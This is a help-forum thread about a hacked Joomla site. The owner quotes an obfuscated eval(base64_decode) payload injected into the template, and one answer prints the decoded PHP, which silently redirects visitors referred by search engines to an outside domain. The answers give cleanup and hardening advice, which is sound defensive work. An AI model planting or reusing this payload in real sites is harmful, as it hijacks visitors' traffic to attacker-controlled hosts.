Joomla loading slow. Menu items not loading - performance

Question

Lately my Joomla website was not showing properly, only the background image was loading, and some minor things.
Somehow the page template (index.php) was changed and some extra code was added. Specifically, this code:
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9wb2FzbS5xcG9lLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
was introduced several times throughout the php code, which is causing slow loading times (about 15-20 seconds to load any page) in my website.

Answer 1

It appears your site was hacked, this means it can be hacked again.
If you're using Joomla 1.5 you should make upgrade to at least the 2.5.x line, if you can't make sure you using version 1.5.26.
Next check all the extensions you have installed against the VEL (Joomla!'s Vulnerable Extensions List)
Once you've done that, you should secure you site using products like AdminTools or similar highly rated products from the Site Protection section of the Joomla Extensions Directory etc.
By the way that particular payload was built to capture users referred to your site by search engines and redirect them to http://poasm.qpoe.com/ It decodes to this:
error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0")){
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"live.com") or stristr($referer,"webalta") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com/l") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://poasm.qpoe.com/");
exit();
}
}
}
}
}

Answer 2

I stumbled upon this comment and was finally able to solve my problem.
Just go to administration --> Extensions --> Template Manager. Go to the Templates section, select your template, select Edit main page template, and get your index.php rid of all those garbage function calls. Cleaning it solved the problem for me, now everything is back to normal, everything loads as fast as before and all the pages display properly.